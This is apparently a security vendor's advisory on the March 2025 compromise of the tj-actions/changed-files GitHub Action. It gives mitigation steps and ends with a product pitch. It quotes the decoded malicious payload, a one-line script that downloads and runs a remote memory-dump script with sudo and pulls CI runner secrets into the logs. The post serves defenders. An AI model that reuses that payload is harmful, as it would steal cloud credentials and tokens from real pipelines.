March 16, 2025
4
min

GitHub Action Supply Chain Attack Exposes Secrets: What You Need to Know and How to Respond

A widely used GitHub Action, tj-actions/changed-files, was compromised sometime before March 14, 2025 with a malicious payload, leading to the exposure of secrets in public repository logs. The incident has been assigned CVE-2025-30066 and is a stark reminder of the growing risks in the software supply chain.
Or Shoshani
CEO
No items found.

TL;DR

A widely used GitHub Action, tj-actions/changed-files, was compromised sometime before March 14, 2025 with a malicious payload, leading to the exposure of secrets in public repository logs. The incident has been assigned CVE-2025-30066 and is a stark reminder of the growing risks in the software supply chain.

TL;DR

A widely used GitHub Action,tj-actions/changed-files, was compromised sometime before March 14, 2025 with a malicious payload, leading to the exposure of secrets in public repository logs. The incident has been assigned CVE-2025-30066 and is a stark reminder of the growing risks in the software supply chain.

While the compromised repository and associated malicious scripts have been removed, organizations must take immediate action to mitigate the risks of exposed credentials and potential CI/CD pipeline compromises. This breach predominantly affects public repositories, as secrets were dumped in publicly accessible workflow logs. However, private repositories are not entirely risk-free and should be reviewed.

Breaking Down the GitHub Action Compromise

How Was the GitHub Action Compromised?

The exact method by which the attacker gained control of the repository remains under investigation. However, initial findings suggest the attacker modified version tags within tj-actions/changed-files to redirect users to a malicious payload. The attacker impersonated the Renovate Bot user, but GitHub’s lack of verification on the commit suggests that the bot itself was not compromised.

Once embedded in CI/CD workflows, the malicious action executed scripts that dumped runner memory, exposing secrets in encoded form within logs. While there is no evidence that secrets were exfiltrated to an attacker-controlled server, their presence in public logs poses a severe security risk.The compromised Action executed a malicious Python script that dumped CI/CD secrets from the Runner Worker process. Most of the existing Action release tags have been updated to refer to the malicious commit mentioned below:

$ git tag -l | while read -r tag ; do git show --format="$tag: %H" --no-patch $tag ; done | sort -k2 v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ... v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67 ...

Base64 encoded string that contains the exploit code

Here is the base64 decoded version of the code:

if [[ "$OSTYPE" == "linux-gnu" ]]; then B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0` echo $B64_BLOB else exit 0 fi

Original Image Source: Step Security

Even though GitHub shows Renovate Bot as the commit author, most likely, the commit did not actually present as Renovate Bot. The commit is an un-verified commit, meaning that the adversary likely provided Renovate Bot as the commit author to hide their tracks.

 

Attack Storyline Original Image Source: Stream.Security

Who Does the Attack Impact?

Any organization using tj-actions/changed-files before its removal on March 15, 2025 is at risk. The attacker altered all existing version tags, meaning that users who relied on pinned versions could be impacted if they updated their workflows during the exploitation window.

Potential Impact on Cloud Environments

Secrets leaked in public repositories may include:

  • Cloud credentials (AWS, Azure, GCP)
  • GitHub Personal Access Tokens (PATs)
  • NPM tokens
  • Private RSA keys

If these credentials are linked to production environments, attackers may be able to gain unauthorized access to cloud resources, modify infrastructure, or exfiltrate sensitive data. Organizations must rotate affected credentials immediately and review cloud access logs for anomalies.

 

Indicators of Compromise & Threat Hunting

How to Check If Your Organization Was Impacted

Security teams should perform the following checks:

Search for references to tj-actions/changed-files in GitHub repositories using:  

org: your-org tj-actions/changed-files  

  • Review GitHub Actions runs from the affected timeframe, looking for suspicious script executions.
  • Look for encoded payloads in workflow logs, particularly double-encoded base64 strings.
  • Rotate secrets immediately if leakage is confirmed, especially in public repositories.

Assessing the Severity of Exposure

To measure the potential impact to your organization, your security team should analyze which accessibility level you might be exposed to:

  • Public Repositories: Secrets were openly exposed in logs, making immediate rotation necessary.
  • Private Repositories: While secrets were not publicly accessible, they may still be compromised and should be rotated as a precaution.
  • GitHub Tokens (ghs_prefix): These expire within 24 hours and pose limited risk unless a job was interrupted mid-execution.  

How to Mitigate and Secure Your CI/CD Pipelines

  • Stop using tj-actions/changed-files immediately.
  • Remove all references to the compromised action across all branches.
  • Rotate any potentially exposed secrets (e.g., cloud API keys, database credentials, access tokens).
  • Delete compromised workflow logs, but first make sure to download and archive logs for forensic analysis.

 

Final Thoughts: The Growing Threat of Software Attacks

This incident underscores the increasing sophistication of software supply chain attacks. With CI/CD pipelines increasingly becoming a prime target for attackers, security teams must adopt a proactive stance by implementing zero-trust principles, continuous monitoring, and strict dependency controls.

 

Stay Secure with Stream Security

The GitHub Action supply chain attack highlights the need for real-time monitoring and rapid response in CI/CD security. Cloud Detection and Response (CDR) tools like Stream.Security, are designed to detect suspicious activities involving access keys used by both machines and human users—a critical capability in incidents like this.  

Stream continuously analyzes logs, identifies compromised users, and detects affected resources by correlating cloud activity across infrastructures, workloads, and identities. With its attack storylining feature, Stream automatically maps the full sequence of an attack, connecting initial compromise to impacted resources and user actions. It flags abnormal behaviors such as unauthorized access, privilege misuse, and credential leakage, helping teams assess the blast radius of an attack and take swift action—whether that’s revoking keys, isolating resources, or tightening IAM policies. Stream enables faster threat detection and response, minimizing exposure and reducing the risk of future software supply chain attacks.

Continue tracking attack resolution updates on GitHub Issue #2463. The Stream Team is available to support any organizations affected.  

About Stream Security

Stream.Security delivers the only cloud detection and response solution that SecOps teams can trust. Born in the cloud, Stream’s Cloud Twin solution enables real-time cloud threat and exposure modeling to accelerate response in today’s highly dynamic cloud enterprise environments. By using the Stream Security platform, SecOps teams gain unparalleled visibility and can pinpoint exposures and threats by understanding the past, present, and future of their cloud infrastructure. The AI-assisted platform helps to determine attack paths and blast radius across all elements of the cloud infrastructure to eliminate gaps accelerate MTTR by streamlining investigations, reducing knowledge gaps while maximizing team productivity and limiting burnout.

Or Shoshani
CEO

Step into the future
of SecOps